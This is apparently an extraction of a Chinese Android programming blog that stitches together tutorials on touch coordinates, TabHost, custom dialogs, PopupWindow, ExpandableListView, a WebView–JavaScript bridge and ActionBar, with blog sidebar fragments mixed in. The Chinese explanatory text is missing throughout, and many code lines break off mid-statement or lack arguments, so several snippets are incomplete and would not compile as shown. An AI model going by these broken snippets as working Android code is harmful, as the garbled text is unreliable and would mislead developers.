								android:layout_marginTop="5dip"



								android:background="@drawable/common_button_background"
								android:paddingBottom="5dip"
								android:paddingLeft="10dip"
								android:paddingRight="10dip"
								android:paddingTop="5dip"
								android:text="@string/delete_message"
								android:textColor="@drawable/textcolor"
								android:visibility="visible"	/>
</LinearLayout>



Nate	

posts	-	4,comments	-	17,trackbacks	-	0
																 				

< 201312 >

24 25 26 27 28 29 30
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31 1 2 3 4

kitea
36
9
9

+

	
	

http://www.cnblogs.com/foura/
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MotionEventgetX()getRawX()

button,: 	

Java		

1.	 public	class	Res	extends	Activity	
2.	 		
3.	 				Button	btn	=	null;		
4.	 				int	x	=	0;		
5.	 				int	y	=	0;		
6.	 				int	rawx	=	0;		
7.	 				int	rawy	=	0;		
8.	 		
9.	 				/**	Called	when	the	activity	is	first	created.	*/
10.	 				@Override		
11.	 				public	void	onCreate(Bundle	savedInstanceState)	{		
12.	 								super.onCreate(savedInstanceState);		
13.	 								setContentView(R.layout.main);		
14.	 								btn	=	(Button)	findViewById(R.id.button);		
15.	 								btn.setOnTouchListener(
16.	 				}		
17.	 		
18.	 				public	boolean	onTouch(View	view,	MotionEvent	event)	{		
19.	 								int	eventaction	=	event.getAction();		
20.	 								switch	(eventaction)	{		
21.	 								case	MotionEvent.ACTION_DOWN:		
22.	 												break;		
23.	 								case	MotionEvent.ACTION_MOVE:		
24.	 												x	=	(int)	event.getX();		
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25.	 												y	=	(int)	event.getY();		
26.	 												rawx	=	(int)	event.getRawX();		
27.	 												rawy	=	(int)	event.getRawY();		
28.	 												Log.d("DEBUG",	"getX="
29.	 																				+	"getRawY="
30.	 												break;		
31.	 		
32.	 								case	MotionEvent.ACTION_UP:		
33.	 		
34.	 												break;		
35.	 								}		
36.	 								return	false;		
37.	 				}		
38.	 }		

getX()Widgetx,getRawX()x(:,
activitytitleBar),getY(),getRawY()

:	 android-
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TabHostTabActivity
11-26	07:18:09.174:	E/AndroidRuntime(2545):	Caused	by:

java.lang.IllegalArgumentException:	you	must	specify	a	way	to	create	the	tab
indicator.

TabHost	tabHost	=	this.getTabHost();

						/*TabSpec	tab1	=	tabHost.newTabSpec("tab1");
								TabSpec	tab2	=	tabHost.newTabSpec("tab2");
								TabSpec	tab3	=	tabHost.newTabSpec("tab3");
								//
								View	view1	=	View.inflate(this,	R.layout.tab1_layout,	null);
								tab1.setIndicator(view1);
								View	view2	=	View.inflate(this,	R.layout.tab2_layout,	null);
								tab1.setIndicator(view2);
								View	view3	=	View.inflate(this,	R.layout.tab3_layout,	null);
								tab1.setIndicator(view3);
								//
								Intent	intent1	=	new	Intent(this,	Test1Activity.class);
								tab1.setContent(intent1);
								Intent	intent2	=	new	Intent(this,	Test2Activity.class);
								tab2.setContent(intent2);
								Intent	intent3	=	new	Intent(this,	Test3Activity.class);
								tab3.setContent(intent3);
								//
								tabHost.addTab(tab1);
								tabHost.addTab(tab2);
								tabHost.addTab(tab3);*/

TabWidget
TabHost	tabHost	=	this.getTabHost();

View	view1	=	View.inflate(this,	R.layout.tab1_layout,	null);
tabHost.addTab(tabHost.newTabSpec("tab1").setIndicator(view1)
								.setContent(new	Intent(this,	Test1Activity.class)));
View	view2	=	View.inflate(this,	R.layout.tab2_layout,	null);
tabHost.addTab(tabHost.newTabSpec("tab2").setIndicator(view2)
								.setContent(new	Intent(this,	Test2Activity.class)));
View	view3	=	View.inflate(this,	R.layout.tab3_layout,	null);



tabHost.addTab(tabHost.newTabSpec("tab3").setIndicator(view3)
								.setContent(new	Intent(this,	Test3Activity.class)));



1AlertDialogView
dialog.dismiss()
dismiss();
final	View	view	=	View.inflate(this,	R.layout.dialog_exitpage_view,	null);
Button	btn_cancel	=	(Button)	view.findViewById(R.id.btn_exit_cancel);
Button	btn_ok	=	(Button)	view.findViewById(R.id.btn_exit_ok);
final	AlertDialog	dialog	=	builder.create();
dialog.setView(view,	0,	0,	0,	0);
btn_cancel.setOnClickListener(new	OnClickListener()	{
				@Override
				public	void	onClick(View	v)	{
								//	
								ScaleAnimation	sa	=	new	ScaleAnimation(1.0f,	0.0f,	1.0f,	0.0f,	Animation.RELATIVE_TO_SELF
								sa.setDuration(1000);
								sa.setFillAfter(true);
								view.startAnimation(sa);
								new	Thread()	{
												public	void	run()	{
																try	{
																				Thread.sleep(1000);
																				dialog.dismiss();
																}	catch	(InterruptedException	e)	{
																				e.printStackTrace();
																}
												}
								}.start();
2dialog_exitpage_view.xml
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="300dip"
				android:layout_height="wrap_content"
				android:background="#ffffff"
				android:gravity="center"
				android:orientation="vertical"	>
				<LinearLayout
								android:layout_width="300dip"
								android:layout_height="45.0dip"



								android:gravity="center_vertical"
								android:orientation="vertical"	>
								<TextView
												android:layout_width="match_parent"
												android:layout_height="wrap_content"
												android:layout_marginBottom="10dip"
												android:layout_marginLeft="10dip"
												android:layout_marginRight="10dip"
												android:text=""
												android:textColor="#ffff7700"
												android:textSize="20.0sp"	/>
								<ImageView
												android:layout_width="match_parent"
												android:layout_height="2.0dip"
												android:layout_marginLeft="10dip"
												android:layout_marginRight="10dip"
												android:background="#ffff7700"	/>
				</LinearLayout>
				<LinearLayout
								android:layout_width="300dip"
								android:layout_height="wrap_content"
								android:gravity="center"
								android:orientation="horizontal"	>
								<TextView
												android:layout_width="match_parent"
												android:layout_height="wrap_content"
												android:layout_marginBottom="10dip"
												android:layout_marginLeft="10dip"
												android:layout_marginRight="10dip"
												android:layout_marginTop="10dip"
												android:text=""
												android:textColor="#88000000"
												android:textSize="20.0sp"	/>
				</LinearLayout>
				<LinearLayout
								android:layout_width="300dip"
								android:layout_height="wrap_content"



								android:gravity="center"
								android:orientation="horizontal"	>
								<Button
												android:id="@+id/btn_exit_cancel"
												android:layout_width="match_parent"
												android:layout_height="40dp"
												android:layout_weight="1.0"
												android:background="@drawable/s_exitpage_btn"
												android:text=""
												android:textColor="#88000000"
												android:textSize="20.0sp"	/>
								<ImageView
												android:id="@+id/imageView"
												android:layout_width="1.0px"
												android:layout_height="match_parent"
												android:background="#33000000"	/>
								<Button
												android:id="@+id/btn_exit_ok"
												android:layout_width="match_parent"
												android:layout_height="40dp"
												android:layout_weight="1.0"
												android:background="@drawable/s_exitpage_btn"
												android:gravity="center"
												android:text=""
												android:textColor="#ffff7700"
												android:textSize="20.0sp"	/>
				</LinearLayout>
</LinearLayout>
3
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ButtonButtonfindViewById
ButtonView	popview	=
layoutInflater.inflate(R.layout.poplayout,
null);
Buttonpoplayout.xmlbutton1	=
(Button)
popview.findViewById(R.id.button1)

oncreate()Buttononclick
popupwindow
oncreate()Buttonbutton

showAtLocation(findViewById(R.id.edit_layout),
Gravity.BOTTOM,0,	0);		

X
Y

[java]	

01.	 package	xiaosi.popwindow;		
02.	 		
03.	 import	android.app.Activity;		
04.	 import	android.os.Bundle;		
05.	 import	android.view.Gravity;		
06.	 import	android.view.LayoutInflater;		
07.	 import	android.view.View;		
08.	 import	android.view.View.OnClickListener;		
09.	 import	android.view.WindowManager.LayoutParams;		

Android2
17
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Android
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83322
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10.	 import	android.widget.Button;		
11.	 import	android.widget.PopupWindow;		
12.	 import	android.widget.Toast;		
13.	 		
14.	 public	class	PopwindowActivity	
15.	 {		
16.	 				/**	Called	when	the	activity	is	first	created.	*/
17.	 				private	Button	button	=	null
18.	 				private	Button	button1	=	
19.	 				private	Button	button2	=	
20.	 				private	Button	button3	=	
21.	 		
22.	 				@Override		
23.	 				public	void	onCreate(Bundle	savedInstanceState)		
24.	 				{		
25.	 								super.onCreate(savedInstanceState);		
26.	 								setContentView(R.layout.main);		
27.	 								button	=	(Button)	findViewById(R.id.button);		
28.	 								button.setOnClickListener(
29.	 				}		
30.	 		
31.	 				public	void	onClick(View	arg0)		
32.	 				{		
33.	 								if	(arg0.getId()	==	R.id.button)		
34.	 								{		
35.	 												LayoutInflater	layoutInflater	=	(LayoutInflater)	(PopwindowActivity.
36.	 																				.getSystemService(LAYOUT_INFLATER_SERVICE);		
37.	 												//	

poplayout.xml 		
38.	 												View	popview	=	layoutInflater.inflate(R.layout.poplayout,	
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39.	 												PopupWindow	popWindow	=	
40.	 																				LayoutParams.WRAP_CONTENT,	LayoutParams.WRAP_CONTENT);		
41.	 												//		
42.	 												popWindow.showAtLocation(findViewById(R.id.main),	Gravity.BOTTOM,		
43.	 																				0,	0);		
44.	 												//PopupWindow

Button 		
45.	 												button1	=	(Button)	popview.findViewById(R.id.button1);		
46.	 												button1.setOnClickListener(
47.	 												button2	=	(Button)	popview.findViewById(R.id.button2);		
48.	 												button2.setOnClickListener(
49.	 								}		
50.	 								else	if	(arg0.getId()	==	R.id.button1)		
51.	 								{		
52.	 												Toast.makeText(PopwindowActivity.
53.	 																				.show();		
54.	 								}		
55.	 								else	if	(arg0.getId()	==	R.id.button2)		
56.	 								{		
57.	 												Toast.makeText(PopwindowActivity.
58.	 																				.show();		
59.	 								}		
60.	 				}		
61.	 }		

poplayout.xml

[java]	
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01.	 <?
xml	version="1.0"	encoding="utf-
8"?>		

02.	 <LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
03.	 				android:layout_width="wrap_content"
04.	 				android:layout_height="wrap_content"
05.	 				android:gravity="center_horizontal"
06.	 				android:orientation="horizontal"
07.	 		
08.	 				<Button		
09.	 								android:id="@+id/button1"
10.	 								android:layout_width=
11.	 								android:layout_height=
12.	 								android:background="@drawable/colorframe_1"
13.	 		
14.	 				<Button		
15.	 								android:id="@+id/button2"
16.	 								android:layout_width=
17.	 								android:layout_height=
18.	 								android:background="@drawable/colorframe_3"
19.	 		
20.	 </LinearLayout>		

main.xml

[java]	

01.	 <?
xml	version="1.0"	encoding="utf-
8"?>		

android
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Android(8)
2013(7)
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main(){	char	c;	int
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0

02.	 <LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
03.	 				android:id="@+id/main"		
04.	 				android:layout_width="fill_parent"
05.	 				android:layout_height="fill_parent"
06.	 				android:orientation="vertical"
07.	 				android:background="@drawable/background"
08.	 		
09.	 				<Button		
10.	 								android:id="@+id/button"
11.	 								android:layout_width=
12.	 								android:layout_height=
13.	 								android:text="

" 	/>		
14.	 				<ImageView			
15.	 								android:layout_width=
16.	 								android:layout_height=
17.	 								android:src="@drawable/a"
18.	 		
19.	 </LinearLayout>		

Android
android.widget.LinearLayout@4375f248
that	was	originally	added	here
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EditTextedittext

android:background="@null"		



	EditText	 				
edittext

Android		EditText	,	,EditText,	,	.	,	,	EditText	
setCursor	.				setSelection	.	:	
edittext.setSelection(int);

et.setText(content);//EditText
et.setSelection(content.length());//

http://blog.csdn.net/sir_zeng/article/details/8434477


Android	QQ	

ExpandableListView
Activity

[java]	

01.	 public	class	BuddyActivity	extends	Activity	{		
02.	 				ExpandableListView	expandablelistview;		
03.	 				//					
04.	 				private	String[]	group	=	new	String[]	{	"" ,	"" ,	
05.	 				//					
06.	 				private	String[][]	buddy	=	new	String[][]	{		

http://blog.csdn.net/pomme_qixiaohu/article/details/8136418
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07.	 												{	"" ,	"" ,	"" },			
08.	 												{"" ,	"" ,	"" ,	"" 	},		
09.	 												{	"" ,	"" ,	"" ,	"" 	}};				
10.	 						
11.	 				public	void	onCreate(Bundle	savedInstanceState)	{		
12.	 								super.onCreate(savedInstanceState);		
13.	 								requestWindowFeature(Window.FEATURE_NO_TITLE);		
14.	 								setContentView(R.layout.activity_buddy);		
15.	 										
16.	 								expandablelistview=	(ExpandableListView)	findViewById(R.id.buddy_expandablelistview);		
17.	 								ExpandableListAdapter	adapter=new	BuddyAdapter(
18.	 								expandablelistview.setAdapter(adapter);		
19.	 								//		
20.	 								expandablelistview.setOnGroupExpandListener(new

{		
21.	 												public	void	onGroupExpand(int	groupPosition)	{		
22.	 												}		
23.	 								});		
24.	 								//		
25.	 								expandablelistview.setOnGroupCollapseListener(new

{		
26.	 												public	void	onGroupCollapse(int	groupPosition)	{		
27.	 												}		
28.	 								});		
29.	 								//		
30.	 								expandablelistview.setOnChildClickListener(new	OnChildClickListener()

{		
31.	 												public	boolean	onChildClick(ExpandableListView	arg0,	View	arg1,		
32.	 																				int	groupPosition,	int	childPosition,	
33.	 																Toast.makeText(BuddyActivity.this,			
34.	 																								group[groupPosition]+"	:	"+buddy[groupPosition]

[childPosition],			
35.	 																								Toast.LENGTH_SHORT).show();		
36.	 																return	false;		
37.	 												}		
38.	 								});		
39.	 				}		
40.	 }		

ExpandableListView2
buddy_listview_group_item.xml

[html]	

01.	 <?xml	version="1.0"	encoding="utf-8"?>		
02.	 <RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"

http://blog.csdn.net/pomme_qixiaohu/article/details/8136418
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03.	 				android:id="@+id/RelativeLayout1"		
04.	 				android:layout_width="match_parent"		
05.	 				android:layout_height="30dip"			
06.	 				android:background="@drawable/group_fold_bg">		
07.	 				<ImageView		
08.	 								android:id="@+id/buddy_listview_image"		
09.	 								android:layout_width="wrap_content"		
10.	 								android:layout_height="wrap_content"		
11.	 								android:layout_alignParentLeft="true"		
12.	 								android:layout_centerVertical="true"		
13.	 								android:layout_marginLeft="10dp"		
14.	 								android:src="@drawable/group_fold_arrow"	/>		
15.	 				<TextView		
16.	 								android:id="@+id/buddy_listview_group_name"		
17.	 								android:layout_width="wrap_content"		
18.	 								android:layout_height="wrap_content"		
19.	 								android:layout_centerVertical="true"		
20.	 								android:layout_alignTop="@+id/buddy_listview_image"
21.	 								android:layout_toRightOf="@+id/buddy_listview_image"
22.	 								android:text="" 	/>		
23.	 				<TextView		
24.	 								android:id="@+id/buddy_listview_group_num"		
25.	 								android:layout_width="wrap_content"		
26.	 								android:layout_height="wrap_content"		
27.	 								android:layout_alignParentRight="true"		
28.	 								android:layout_centerVertical="true"		
29.	 								android:layout_marginRight="10dp"		
30.	 								android:text="[10/10]"	/>		
31.	 </RelativeLayout>		

buddy_listview_child_item.xml

[html]	

01.	 <?xml	version="1.0"	encoding="utf-8"?>		
02.	 <RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
03.	 				android:layout_width="match_parent"		
04.	 				android:layout_height="40dip"	>		
05.	 				<ImageView		
06.	 								android:id="@+id/buddy_listview_child_avatar"		
07.	 								android:layout_width="40dip"		
08.	 								android:layout_height="40dip"		
09.	 								android:layout_alignParentLeft="true"		
10.	 								android:layout_alignParentTop="true"		
11.	 								android:layout_marginLeft="10dp"		
12.	 								android:src="@drawable/avatar"	/>		
13.	 				<TextView		
14.	 								android:id="@+id/buddy_listview_child_nick"		
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http://blog.csdn.net/pomme_qixiaohu/article/details/8136418


15.	 								android:layout_width="wrap_content"		
16.	 								android:layout_height="wrap_content"		
17.	 								android:layout_alignParentTop="true"		
18.	 								android:layout_toRightOf="@+id/buddy_listview_child_avatar"
19.	 								android:text="" 		
20.	 								android:textSize="16sp"	/>		
21.	 				<TextView		
22.	 								android:id="@+id/buddy_listview_child_trends"		
23.	 								android:layout_width="wrap_content"		
24.	 								android:layout_height="wrap_content"		
25.	 								android:layout_alignLeft="@+id/buddy_listview_child_nick"
26.	 								android:layout_alignParentBottom="true"		
27.	 								android:text="" 		
28.	 								android:textSize="12sp"	/>		
29.	 		
30.	 </RelativeLayout>		

AdapterBaseExpandableListAdapter

[java]	

01.	 public	class	BuddyAdapter	extends	BaseExpandableListAdapter	{					
02.	 				private	String[]	group;			
03.	 				private	String[][]	buddy;		
04.	 				private	Context	context;		
05.	 				LayoutInflater	inflater;		
06.	 						
07.	 				public	BuddyAdapter(Context	context,String[]	group,String[][]	buddy){		
08.	 								this.context=context;		
09.	 								inflater	=	LayoutInflater.from(context);		
10.	 								this.group=group;		
11.	 								this.buddy=buddy;		
12.	 				}		
13.	 				public	Object	getChild(int	groupPosition,	int	childPosition)	{		
14.	 								return	buddy[groupPosition][childPosition];		
15.	 				}		
16.	 		
17.	 				public	long	getChildId(int	groupPosition,	int	childPosition)	{		
18.	 								return	childPosition;		
19.	 				}		
20.	 		
21.	 				public	View	getChildView(int	groupPosition,	int	childPosition,	
22.	 												ViewGroup	arg4)	{		
23.	 								convertView	=	inflater.inflate(R.layout.buddy_listview_child_item,	
24.	 								TextView	nickTextView=

(TextView)	convertView.findViewById(R.id.buddy_listview_child_nick);		
25.	 								nickTextView.setText(getChild(groupPosition,	childPosition).toString());		
26.	 								return	convertView;		
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27.	 				}		
28.	 		
29.	 				public	int	getChildrenCount(int	groupPosition)	{		
30.	 								return	buddy[groupPosition].length;		
31.	 				}		
32.	 		
33.	 				public	Object	getGroup(int	groupPosition)	{		
34.	 								return	group[groupPosition];		
35.	 				}		
36.	 		
37.	 				public	int	getGroupCount()	{		
38.	 								return	group.length;		
39.	 				}		
40.	 		
41.	 				public	long	getGroupId(int	groupPosition)	{		
42.	 								return	groupPosition;		
43.	 				}		
44.	 		
45.	 				public	View	getGroupView(int	groupPosition,	boolean
46.	 								convertView	=	inflater.inflate(R.layout.buddy_listview_group_item,	
47.	 								TextView	groupNameTextView=

(TextView)	convertView.findViewById(R.id.buddy_listview_group_name);		
48.	 								groupNameTextView.setText(getGroup(groupPosition).toString());		
49.	 								ImageView	image	=	(ImageView)	convertView.findViewById(R.id.buddy_listview_image);		
50.	 								image.setImageResource(R.drawable.group_unfold_arrow);		
51.	 								//		
52.	 								if(!isExpanded){		
53.	 												image.setImageResource(R.drawable.group_fold_arrow);		
54.	 								}		
55.	 								return	convertView;		
56.	 				}		
57.	 		
58.	 				public	boolean	hasStableIds()	{		
59.	 								return	true;		
60.	 				}		
61.	 				//			 		
62.	 				public	boolean	isChildSelectable(int	arg0,	int	arg1)	{		
63.	 								//	TODO	Auto-generated	method	stub		
64.	 								return	true;		
65.	 				}		
66.	 }
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ExpandableListView

ExpandableListView

		settingLists.setGroupIndicator(null);		~~~~~~~~~~~~~~~~~

expandablelistviewselector.xml	 Java

<?xml	version="1.0"	encoding="utf-8"?>			

<selector	xmlns:android="http://schemas.android.com/apk/res/android">			

				<item	android:state_expanded="true"	android:drawable="@drawable/expandablelistviewindicatordown"	/>
		

				<item	android:drawable="@drawable/expandablelistviewindicator"	/>			

</selector>		

settingLists.setGroupIndicator(this.getResources().getDrawable(R.layout.expandablelistviewselector));	

	< http://blog.csdn.net/imandroid/article/details/7217604>
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androidWebviewjavascript

①html AndroidManifest.xml"android.permission.INTERNET",
Web	page	not	availablehtml
②JavascriptwebviewJavascript
settings.setJavaScriptEnabled(true);		
③browserAndroidbrowser	webviewWebViewClient

webView.setWebViewClient(new	WebViewClient()	{
				@Override
				public	boolean	shouldOverrideUrlLoading(WebView	view,	String	url)	{
								view.loadUrl(url);
								return	true;
				}
});

④“Back”Browserfinish()	ActivityBack

⑤assets 	
webView.loadUrl("file:///android_asset/newsfont.html");
⑥android4.1.2jsandroidandroid4.2.2
Androidjs
1and roidassetshtmljs
2htmljsandroidjs
AndroidM anifest.xml
<uses-permission	android:name="android.permission.INTERNET"	/>

html jsandroid	changeFont(),androidjs	funFromAndroid(String	name)		,	assets
<!DOCTYPE	HTML	PUBLIC	"-
//W3C//DTD	HTML	4.01//EN"	"http://www.w3.org/TR/html4/strict.dtd">
<html>
				<head>
								<meta	http-equiv="Content-Type"	content="text/html;	charset=GBK">
								<title>Android	JS</title>
								<style	type="text/css">
												/**/
												a:link,a:visited{
																color:#0044ff;
																text-decoration:none;
												}
												a:hover{

http://blog.csdn.net/beyond0525/article/details/9374301


																color:#ff8800;
												}
												#newstext{
																width:500px;
																border:#00ff00	1px	solid;
																padding:10px;
												}
												/**/
												.norm{	/*idclassid*/
																color:#000000;
																font-size:16px;
																background-color:#cdd8d0;
												}
												.max{
																color:#808080;
																font-size:28px;
																background-color:#9ce9b4;
												}
												.min{
																color:#ffffff;
																font-size:12px;
																background-color:#f1b96d;
												}
								</style>
				</head>
				
				<body>
					
								<script	type="text/javascript">
								
												//android
												function	changeFont(selectorName){
																var	oNewsText	=	document.getElementById("newstext");
																oNewsText.className	=	selectorName;
												}
												
												//android
												function	funFromAndroid(node){
																var	str	=	node.innerHTML
																myObj.funFromAndroid('html' +str);
												}
								</script>



								
								<a	onclick="funFromAndroid(this)">JSAndroid</a>
								<h1></h1>
								<hr/>
								<a	href="javascript:void(0)"	onclick="changeFont('max')"></a>	
								<a	href="javascript:void(0)"	onclick="changeFont('norm')"></a>	
								<a	href="javascript:void(0)"	onclick="changeFont('min')"></a>
								<div	id="newstext"	class="norm">
												
												
												
												
												
												
												
												
												
												
												
												
								</div>
				</body>
</html>

	 androidjs
@SuppressLint("JavascriptInterface")
private	void	initWeb()	{
				webView	=	(WebView)	this.findViewById(R.id.wv_js);
				//	
				webView.setBackgroundColor(Color.TRANSPARENT);
				settings	=	webView.getSettings();
				//	settings.setLoadsImagesAutomatically(true);
				//	
				settings.setDefaultTextEncodingName("utf-8");
				//	 jsjs
				settings.setJavaScriptEnabled(true);
				//	browserAndroidbrowser
				//	 webviewWebViewClient
				webView.setWebViewClient(new	WebViewClient()	{
								@Override
								public	boolean	shouldOverrideUrlLoading(WebView	view,	String	url)	{
												//	view.loadUrl(url);



												return	true;
								}
				});
				//	
				/**
					*	 jsandroidandroid js
					*	
					*	 jsandroid
					*	
					*	 js
					*/
				webView.addJavascriptInterface(new	JavaScriptObject(this),	"myObj");
				//	 html
				webView.loadUrl("file:///android_asset/newsfont.html");
}
androidjs
//	FIXME1android js
public	void	small(View	view)	{
				webView.loadUrl("javascript:changeFont('min')");
				Toast.makeText(this,	"" ,	Toast.LENGTH_SHORT).show();
}
public	void	middle(View	view)	{
				webView.loadUrl("javascript:changeFont('norm')");
				Toast.makeText(this,	"" ,	Toast.LENGTH_SHORT).show();
}
public	void	large(View	view)	{
				webView.loadUrl("javascript:changeFont('max')");
				Toast.makeText(this,	"" ,	Toast.LENGTH_SHORT).show();
}

	js android
①jsandroid
/**
	*jsandroid
	*/
class	JavaScriptObject	{
				Context	mContxt;
				public	JavaScriptObject(Context	mContxt)	{
								this.mContxt	=	mContxt;
				}
				/**
					*	 jsandroid
					*	



					*	@param	name
					*/
				public	void	funFromAndroid(String	name)	{
								Toast.makeText(mContxt,	name,	Toast.LENGTH_SHORT).show();
				}
}
②js
//android
function	funFromAndroid(node){
								var	str	=	node.innerHTML
								myObj.funFromAndroid('html' +str);
}

①androidjs

	
②jsandroid
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ActionBar()

Action	BarAndroid	3.0APIActionBarUIActionBar
ActionBar

[1]ActionBar[2]action[3]overflow

Action	Bar3.02.xActionBar Support	Library3.04.0

http://developer.android.com/tools/support-library/index.html


Action	Bar

ActionBarAndroidManifest.xmlApplicationActivitythemeTheme.HoloEclipse
ApplicationthemeTheme.HoloActionBar

	

ActionBarthemeTheme.Holo.NoActionBarActionBarActivity

[java]	

01.	 ActionBar	actionBar	=	getActionBar();		
02.	 actionBar.hide();		

ActionBar
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Action	Bar
<application><activity>iconActionBarActionBar<application><activity>logo
res/drawableweather.pngAndroidManifest.xml

[html]	

01.	 <activity		
02.	 				android:name="com.example.actionbartest.MainActivity"
03.	 				android:logo="@drawable/weather"	>		
04.	 </activity>		

	
OKActionBarlabel

[html]	

01.	 <activity		
02.	 				android:name="com.example.actionbartest.MainActivity"
03.	 				android:label="" 		
04.	 				android:logo="@drawable/weather"	>		
05.	 </activity>		
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Action
ActionBarActionActionBarActionBaroverflowoverflowoverflow
Action
ActivityActivityonCreateOptionsMenu()ActionmenuAction
menu

[html]	

01.	 <menu	xmlns:android="http://schemas.android.com/apk/res/android"
02.	 				xmlns:tools="http://schemas.android.com/tools"		
03.	 				tools:context="com.example.actionbartest.MainActivity"
04.	 		
05.	 				<item		
06.	 								android:id="@+id/action_compose"		
07.	 								android:icon="@drawable/ic_action_compose"		
08.	 								android:showAsAction="always"		
09.	 								android:title="@string/action_compose"/>		
10.	 				<item		
11.	 								android:id="@+id/action_delete"		
12.	 								android:icon="@drawable/ic_action_delete"		
13.	 								android:showAsAction="always"		
14.	 								android:title="@string/action_delete"/>		
15.	 				<item		
16.	 								android:id="@+id/action_settings"		
17.	 								android:icon="@drawable/ic_launcher"		
18.	 								android:showAsAction="never"		
19.	 								android:title="@string/action_settings"/>		
20.	 		
21.	 </menu>		

<item>Action<item>idActionicontitleshowAsAction
alwaysActionBarifRoomActionBaroverflowneveroverflow
ActivityonCreateOptionsMenu()

[java]	

01.	 @Override		
02.	 public	boolean	onCreateOptionsMenu(Menu	menu)	{		
03.	 				MenuInflater	inflater	=	getMenuInflater();		
04.	 				inflater.inflate(R.menu.main,	menu);		
05.	 				return	super.onCreateOptionsMenu(menu);		
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06.	 }		

MenuInflaterinflate()menu

	
action_composeaction_deleteActionBaraction_settingsshowAsActionneveroverflow
overflow
ActionBartitletitleoverflowActionBartitletitleitemtitle

ActionBarActionshowAsActionifRoomActionoverflowtitle
ActionActionBarActiontitle



Action
ActionActivityonOptionsItemSelected()MenuItemgetItemId()menuidAction

[java]	

01.	 @Override		
02.	 public	boolean	onOptionsItemSelected(MenuItem	item)	{		
03.	 				switch	(item.getItemId())	{		
04.	 				case	R.id.action_compose:		
05.	 								Toast.makeText(this,	"Compose",	Toast.LENGTH_SHORT).show();		
06.	 								return	true;		
07.	 				case	R.id.action_delete:		
08.	 								Toast.makeText(this,	"Delete",	Toast.LENGTH_SHORT).show();		
09.	 								return	true;		
10.	 				case	R.id.action_settings:		
11.	 								Toast.makeText(this,	"Settings",	Toast.LENGTH_SHORT).show();		
12.	 								return	true;		
13.	 				default:		
14.	 								return	super.onOptionsItemSelected(item);		
15.	 				}		
16.	 }		

ActionToast
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Action	Bar
ActionBarABBActionBarA
setDisplayHomeAsUpEnabled()ActionBar

[java]	

01.	 @Override		
02.	 protected	void	onCreate(Bundle	savedInstanceState)	{		
03.	 				super.onCreate(savedInstanceState);		
04.	 				setTitle("" );		
05.	 				setContentView(R.layout.activity_main);		
06.	 				ActionBar	actionBar	=	getActionBar();		
07.	 				actionBar.setDisplayHomeAsUpEnabled(true);		
08.	 }		

	
ActionBarfinish()

[java]	

01.	 @Override		
02.	 public	boolean	onOptionsItemSelected(MenuItem	item)	{		
03.	 				switch	(item.getItemId())	{		
04.	 				case	android.R.id.home:		
05.	 								finish();		
06.	 								return	true;		
07.	 				……		
08.	 				}		
09.	 }		

ActionBaronOptionsItemSelected()itemIdandroid.R.id.homefinish()
ActionBarBackfinishActionBarBackActionBarBack
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Conversation	ListConversation1	detailsConversation	2	detailsConversation3	details
BackConversation	2	detailsBackConversation1	detailsBackConversation
ListActionBarConversation	detailsConversation	List
ActionBarBackActionBar
setDisplayHomeAsUpEnabled()true
AndroidManifest.xmlActivity

[html]	

01.	 <activity		
02.	 				android:name="com.example.actionbartest.MainActivity"
03.	 				android:logo="@drawable/weather"	>		
04.	 				<meta-data		
05.	 								android:name="android.support.PARENT_ACTIVITY"		
06.	 								android:value="com.example.actionbartest.LaunchActivity"
07.	 </activity>		
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meta-dataMainActivityActivityLaunchActivityAndroid	4.1
android:parentActivityName

[html]	

01.	 <activity		
02.	 				android:name="com.example.actionbartest.MainActivity"
03.	 				android:logo="@drawable/weather"		
04.	 				android:parentActivityName="com.example.actionbartest.LaunchActivity"
05.	 </activity>		

android.R.id.home

[java]	

01.	 @Override		
02.	 public	boolean	onOptionsItemSelected(MenuItem	item)	{		
03.	 				switch	(item.getItemId())	{		
04.	 				case	android.R.id.home:		
05.	 								Intent	upIntent	=	NavUtils.getParentActivityIntent(
06.	 								if	(NavUtils.shouldUpRecreateTask(this,	upIntent))	{		
07.	 												TaskStackBuilder.create(this)		
08.	 																				.addNextIntentWithParentStack(upIntent)		
09.	 																				.startActivities();		
10.	 								}	else	{		
11.	 												upIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);		
12.	 												NavUtils.navigateUpTo(this,	upIntent);		
13.	 								}		
14.	 								return	true;		
15.	 								......		
16.	 				}		
17.	 }		

NavUtils.getParentActivityIntent()ActivityIntentActivityActivityTasknavigateUpTo()
TaskTaskStackBuilderTask
ActionBar
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Action	View
ActionViewActionBarActionActionBarSeachViewActionBar
ActionViewmenuactionViewClassSearchView

[html]	

01.	 <menu	xmlns:android="http://schemas.android.com/apk/res/android"
02.	 		
03.	 				<item		
04.	 								android:id="@+id/action_search"		
05.	 								android:icon="@drawable/ic_action_search"		
06.	 								android:actionViewClass="android.widget.SearchView"
07.	 								android:showAsAction="ifRoom|collapseActionView"
08.	 								android:title="@string/action_search"	/>		
09.	 				......		
10.	 		
11.	 </menu>		

showAsActioncollapseActionViewAction

	
OKAction

	
SearchViewActionBarActionshowAsActionifRoomoverflow
SearchViewonCreateOptionsMenu()ActionView

[java]	

01.	 @Override		
02.	 public	boolean	onCreateOptionsMenu(Menu	menu)	{		
03.	 				MenuInflater	inflater	=	getMenuInflater();		
04.	 				inflater.inflate(R.menu.main,	menu);		
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05.	 				MenuItem	searchItem	=	menu.findItem(R.id.action_search);		
06.	 				SearchView	searchView	=	(SearchView)	searchItem.getActionView();		
07.	 				//	SearchView 		
08.	 				......		
09.	 				return	super.onCreateOptionsMenu(menu);		
10.	 }		

SearchViewSearchView	 http://developer.android.com/guide/topics/search/search-
dialog.html	
ActionViewActionView

[java]	

01.	 @Override		
02.	 public	boolean	onCreateOptionsMenu(Menu	menu)	{		
03.	 				MenuInflater	inflater	=	getMenuInflater();		
04.	 				inflater.inflate(R.menu.main,	menu);		
05.	 				MenuItem	searchItem	=	menu.findItem(R.id.action_search);		
06.	 				searchItem.setOnActionExpandListener(new	OnActionExpandListener()	{		
07.	 								@Override		
08.	 								public	boolean	onMenuItemActionExpand(MenuItem	item)	{		
09.	 												Log.d("TAG",	"on	expand");		
10.	 												return	true;		
